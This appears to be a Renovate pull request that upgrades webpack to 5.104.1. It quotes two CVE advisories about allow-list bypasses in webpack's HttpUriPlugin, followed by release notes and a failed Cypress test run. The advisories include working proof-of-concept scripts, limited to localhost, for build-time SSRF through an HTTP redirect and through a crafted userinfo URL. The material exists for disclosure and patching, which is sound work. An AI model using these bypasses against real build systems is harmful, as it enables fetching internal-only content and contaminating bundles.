chore(deps): Update dependency webpack to v5.104.1 [SECURITY] (next)

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
webpack	5.101.0 → 5.104.1

GitHub Vulnerability Alerts

CVE-2025-68157

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details

In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");
const url = require("url");

const allowedPort = 9000;
const internalPort = 9100;

const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function start(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // Internal-only service (SSRF target)
  await start(internalPort, (req, res) => {
    if (req.url === "/secret.js") {
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      return;
    }
    res.statusCode = 404;
    res.end("not found");
  });

  // Allowed host (redirector)
  await start(allowedPort, (req, res) => {
    const parsed = url.parse(req.url, true);

    if (parsed.pathname === "/redirect.js") {
      const to = parsed.query.to || internalUrlDefault;

      // Safety guard: only allow redirecting to localhost internal service in this PoC
      if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
        res.statusCode = 400;
        res.end("to must be internal-only in this PoC");
        console.log(`[allowed] blocked redirect to: ${to}`);
        return;
      }

      res.statusCode = 302;
      res.setHeader("Location", to);
      res.end("redirecting");
      console.log(`[allowed] 302 /redirect.js -> ${to}`);
      return;
    }

    res.statusCode = 404;
    res.end("not found");
  });

  console.log(`\nServer running:`);
  console.log(`- allowed host:  http://127.0.0.1:${allowedPort}/redirect.js`);
  console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();

3) Create attacker.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");

const allowedPort = 9000;
const internalPort = 9100;

const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;

async function walk(dir) {
  const out = [];
  const items = await fs.readdir(dir, { withFileTypes: true });
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
  } catch {
    return false;
  }
}

async function findInFiles(files, needle) {
  const hits = [];
  for (const f of files) if (await fileContains(f, needle)) hits.push(f);
  return hits;
}

const fmtBool = b => (b ? "✅" : "❌");

(async () => {
  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedBase],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;

      const info = stats.toJson({ all: false, errors: true, warnings: true });
      if (stats.hasErrors()) {
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const secret = m ? m[0] : null;

      console.log("\n[ATTACKER RESULT]");
      console.log(`- webpack version: ${webpackPkg.version}`);
      console.log(`- node version: ${process.version}`);
      console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
      console.log(`- imported URL (allowed only): ${entryUrl}`);
      console.log(`- temp dir: ${tmp}`);
      console.log(`- lockfile: ${lockfile}`);
      console.log(`- cacheDir: ${cacheDir}`);
      console.log(`- bundle:   ${bundlePath}`);

      if (!secret) {
        console.log("\n[SECURITY SUMMARY]");
        console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
        return;
      }

      const lockHit = await fileContains(lockfile, secret);

      let cacheFiles = [];
      try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
      const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;

      const allTmpFiles = await walk(tmp);
      const allHits = await findInFiles(allTmpFiles, secret);

      console.log(`\n- extracted secret marker from bundle: ${secret}`);

      console.log("\n[SECURITY SUMMARY]");
      console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
      console.log(`- Internal target (SSRF-like): ${internalTarget}`);
      console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
      console.log(`- ACTUAL: internal content treated as module and bundled`);

      console.log("\n[EVIDENCE CHECKLIST]");
      console.log(`- bundle contains secret:   ${fmtBool(true)}`);
      console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);

      console.log("\n[PERSISTENCE CHECK] files containing secret");
      for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
      if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected

Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).

Impact

Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:

trigger network requests from the build machine to internal-only services (SSRF behavior),

cause content from outside the allow-list to be bundled into build outputs,

and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

CVE-2025-68458

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on:

• webpack version: 5.104.0
• Node version: v18.19.1

Details

Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL:

• http://127.0.0.1:9000@​127.0.0.1:9100/secret.js

If the allow-list is ["http://127.0.0.1:9000"], then:

• Raw string check:
  crafted.startsWith("http://127.0.0.1:9000") → true
• URL parsing (WHAT new URL() will contact):
  origin → http://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction:

• Server logs showed the internal-only endpoint being fetched:
  • [internal] 200 /secret.js served (...) (observed multiple times)
• Attacker-side build output showed:
  • the internal secret marker was present in the bundle
  • the internal secret marker was present in the buildHttp cache

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");

const ALLOWED_PORT = 9000;   // allowlisted-looking host
const INTERNAL_PORT = 9100;  // actual target if bypass succeeds

const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `// internal-only\n` +
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function listen(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // "Allowed" host (should NOT be contacted if bypass works as intended)
  await listen(ALLOWED_PORT, (req, res) => {
    console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
    res.statusCode = 200;
    res.setHeader("Content-Type", "application/javascript; charset=utf-8");
    res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
  });

  // Internal-only service (SSRF-like target)
  await listen(INTERNAL_PORT, (req, res) => {
    if (req.url === "/secret.js") {
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      return;
    }
    console.log(`[internal] 404 ${req.method} ${req.url}`);
    res.statusCode = 404;
    res.end("not found");
  });

  console.log("\nServers up:");
  console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
  console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();

2) Create server.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) {
  const out = [];
  let items;
  try { items = await fs.readdir(dir, { withFileTypes: true }); }
  catch { return out; }
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    const s1 = buf.toString("utf8");
    if (s1.includes(needle)) return true;
    const s2 = buf.toString("latin1");
    return s2.includes(needle);
  } catch {
    return false;
  }
}

(async () => {
  const webpackVersion = require("webpack/package.json").version;

  const ALLOWED_PORT = 9000;
  const INTERNAL_PORT = 9100;

  // NOTE: allowlist is intentionally specified without a trailing slash
  // to demonstrate the risk of raw string prefix checks.
  const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;

  // Crafted URL using userinfo so that:
  // - The string begins with allowedUri
  // - The actual authority (host:port) after '@​' is INTERNAL_PORT
  const crafted = `http://127.0.0.1:${ALLOWED_PORT}@​127.0.0.1:${INTERNAL_PORT}/secret.js`;
  const parsed = new URL(crafted);

  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedUri],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  console.log("\n[ENV]");
  console.log(`- webpack version: ${webpackVersion}`);
  console.log(`- node version:    ${process.version}`);
  console.log(`- allowedUris:     ${JSON.stringify([allowedUri])}`);

  console.log("\n[CRAFTED URL]");
  console.log(`- import specifier: ${crafted}`);
  console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
  console.log(`- WHAT URL() parses:`);
  console.log(`  - username: ${JSON.stringify(parsed.username)} (userinfo)`);
  console.log(`  - password: ${JSON.stringify(parsed.password)} (userinfo)`);
  console.log(`  - hostname: ${parsed.hostname}`);
  console.log(`  - port:     ${parsed.port}`);
  console.log(`  - origin:   ${parsed.origin}`);
  console.log(`  - NOTE: request goes to origin above (host/port after @​), not to "${allowedUri}"`);

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;
      const info = stats.toJson({ all: false, errors: true, warnings: true });

      if (stats.hasErrors()) {
        console.error("\n[WEBPACK ERRORS]");
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const foundSecret = m ? m[0] : null;

      console.log("\n[RESULT]");
      console.log(`- temp dir:  ${tmp}`);
      console.log(`- bundle:    ${bundlePath}`);
      console.log(`- lockfile:  ${lockfile}`);
      console.log(`- cacheDir:  ${cacheDir}`);

      console.log("\n[SECURITY CHECK]");
      console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);

      if (foundSecret) {
        const lockHit = await fileContains(lockfile, foundSecret);

        const cacheFiles = await walk(cacheDir);
        let cacheHit = false;
        for (const f of cacheFiles) {
          if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
        }

        console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
        console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      }
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.

---

Release Notes

webpack/webpack (webpack)

v5.104.1

Compare Source

Patch Changes

• 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
• c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.

v5.104.0

Compare Source

Minor Changes

• d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
• d3dd841: Enhance import.meta.env to support object access.
• 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
• 04cd530: Handle more at-rules for CSS modules.
• cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
• d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
• 5983843: Provide a stable runtime function variable __webpack_global__.
• d3dd841: Improved localIdentName hashing for CSS.

Patch Changes

• 22c48fb: Added module existence check for informative error message in development mode.
• 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
• d3dd841: Support universal lazy compilation.
• d3dd841: Fixed module library export definitions when multiple runtimes.
• d3dd841: Fixed CSS nesting and CSS custom properties parsing.
• d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
• aab1da9: Fixed bugs for css/global type.
• d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
• d3dd841: Handle nested __webpack_require__.
• 728ddb7: The speed of identifier parsing has been improved.
• 0f8b31b: Improve types.
• d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
• 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
• d3dd841: Serialize HookWebpackError.
• d3dd841: Added ability to use built-in properties in dotenv and define plugin.
• 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
• d3dd841: Reduce collision for local indent name in CSS.
• d3dd841: Remove CSS link tags when CSS imports are removed.

v5.103.0

Compare Source

Features

• Added DotenvPlugin and top level dotenv option to enable this plugin
• Added WebpackManifestPlugin
• Added support the ignoreList option in devtool plugins
• Allow to use custom javascript parse function
• Added import.meta.env support for environment variables
• Added support for import.meta.dirname and import.meta.filename
• Added support import.defer() for statistical path
• Handle import.meta.main
• Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
• Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
• [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
• [CSS] Added support for composes properties

Fixes

• The dependOn chunk must be loaded before the common chunk
• Return to namespace import when the external request includes a specific export
• No runtime extra runtime code for module libraries
• Delay HMR accept dependencies to preserve import attributes
• Properly handle external presets for universal target
• Fixed incorrect identifier of import binding for module externals
• Fixed when defer import and dynamic default export mixed
• Reduce generated output when globalThis supported
• Fixed loading async modules in defer import
• Reexport module for default import when no used exports for systemjs library
• Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
• Handle __dirname and __filename for ES modules
• Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
• [Types] webpack function type
• [Types] NormalModule type
• [Types] Multi compiler configuration type
• [Types] Fixed regression in custom hashDigest type
• [CSS] No extra runtime for initial chunk
• [CSS] Fixed a lot of CSS modules bugs

v5.102.1

Compare Source

Fixes

• Supported extends with env for browserslist
• Supported JSONP fragment format for web workers.
• Fixed dynamic import support in workers using browserslist.
• Fixed default defer import mangling.
• Fixed default import of commonjs externals for SystemJS format.
• Fixed context modules to the same file with different import attributes.
• Fixed typescript types.
• Improved import.meta warning messages to be more clear when used directly.
• [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.

v5.102.0

Compare Source

Features

• Added static analyze for dynamic imports
• Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
• Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
• Added the snapshot.contextModule to configure snapshots options for context modules
• Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
• The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
• The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
• Added function matcher support in rule options

Fixes

• Fixed conflicts caused by multiple concatenate modules
• Ignore import failure during HMR update with ES modules output
• Keep render module order consistent
• Prevent inlining modules that have this exports
• Removed unused timeout attribute of script tag
• Supported UMD chunk format to work in web workers
• Improved CommonJs bundle to ES module library
• Use es-lexer for mjs files for build dependencies
• Fixed support __non_webpack_require__ for ES modules
• Properly handle external modules for CSS
• AssetsByChunkName included assets from chunk.auxiliaryFiles
• Use createRequire only when output is ES module and target is node
• Typescript types

Performance Improvements

• Avoid extra calls for snapshot
• A avoid extra jobs for build dependencies
• Move import attributes to own dependencies

v5.101.3

Compare Source

Fixes

• Fixed resolve execution order issue from extra await in async modules
• Avoid empty block for unused statement
• Collect only specific expressions for destructuring assignment

v5.101.2

Compare Source

Fixes

• Fixed syntax error when comment is on the last line
• Handle var declaration for createRequire
• Distinguish free variable and tagged variable

v5.101.1

Compare Source

Fixes

• Filter deleted assets in processAdditionalAssets hook
• HMR failure in defer module
• Emit assets even if invalidation occurs again
• Export types for serialization and deserialization in plugins and export the ModuleFactory class
• Fixed the failure export of internal function for ES module chunk format
• Fixed GetChunkFilename failure caused by dependOn entry
• Fixed the import of missing dependency chunks
• Fixed when entry chunk depends on the runtime chunk hash
• Fixed module.exports bundle to ESM library
• Adjusted the time of adding a group depending on the fragment of execution time
• Fixed circle dependencies when require RawModule and condition of isDeferred
• Tree-shakable module library should align preconditions of allowInlineStartup

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This PR was generated by Mend Renovate. View the repository job log.

[cypress]

next-core    Run #11933

Run Properties:   Failed #11933  •  0acfe88f16 ℹ️: Merge cb568eea55a9cd64acaadf6d8266badfa0d411af into f3386823e092033445871a2d5f7a...

Project	next-core
Branch Review	renovate/next-npm-webpack-vulnerability
Run status	Failed #11933
Run duration	00m 20s
Commit	0acfe88f16 ℹ️: Merge cb568eea55a9cd64acaadf6d8266badfa0d411af into f3386823e092033445871a2d5f7a...
Committer	renovate[bot]
View all properties for this run ↗︎

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Test results
Failures	17
Flaky	0
Pending	0
Skipped	0
Passing	0
View all changes introduced in this branch ↗︎

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Tests for review

  control-nodes.spec.js • 10 failed tests

View Output

Test		Artifacts
Testing control nodes on port 8081 > should render general control nodes		Test Replay Screenshots
Testing control nodes on port 8081 > should render nested control nodes		Test Replay Screenshots
Testing control nodes on port 8081 > should render control nodes with tpl with useBrick		Test Replay Screenshots
Testing control nodes on port 8081 > should render control nodes with tpl		Test Replay Screenshots
Testing control nodes on port 8081 > should render tracking if expressions as control nodes		Test Replay Screenshots
Testing control nodes on port 8081 > should render :if with direct child of :if		Test Replay Screenshots
Testing control nodes on port 8081 > should render :forEach with direct child of :forEach		Test Replay Screenshots
Testing control nodes on port 8081 > should render :forEach with empty initial		Test Replay Screenshots
Testing control nodes on port 8081 > should handle initial rerender		Test Replay Screenshots
Testing control nodes on port 8081 > should handle nested :if rerender		Test Replay Screenshots

  size-check.spec.js • 1 failed test

View Output

Test		Artifacts
Size checking on port 8081 > should check resource size		Test Replay Screenshots

  sub-routes.spec.js • 3 failed tests

View Output

Test		Artifacts
Testing sub-routes incremental rendering on port 8081 > should render sub-routes		Test Replay Screenshots
Testing sub-routes incremental rendering on port 8081 > should render multiple sub-routes		Test Replay Screenshots
Testing sub-routes incremental rendering on port 8081 > should handle multiple clicks with sub-routes		Test Replay Screenshots

  use-brick.spec.js • 3 failed tests

View Output

Test		Artifacts
Testing useBrick on port 8081 > should render useBrick		Screenshots
Testing useBrick on port 8081 > should work for bricks within useBrick accessing the template refs		Screenshots
Testing useBrick on port 8081 > should work for nested useBrick and tpl accessing the template refs		Screenshots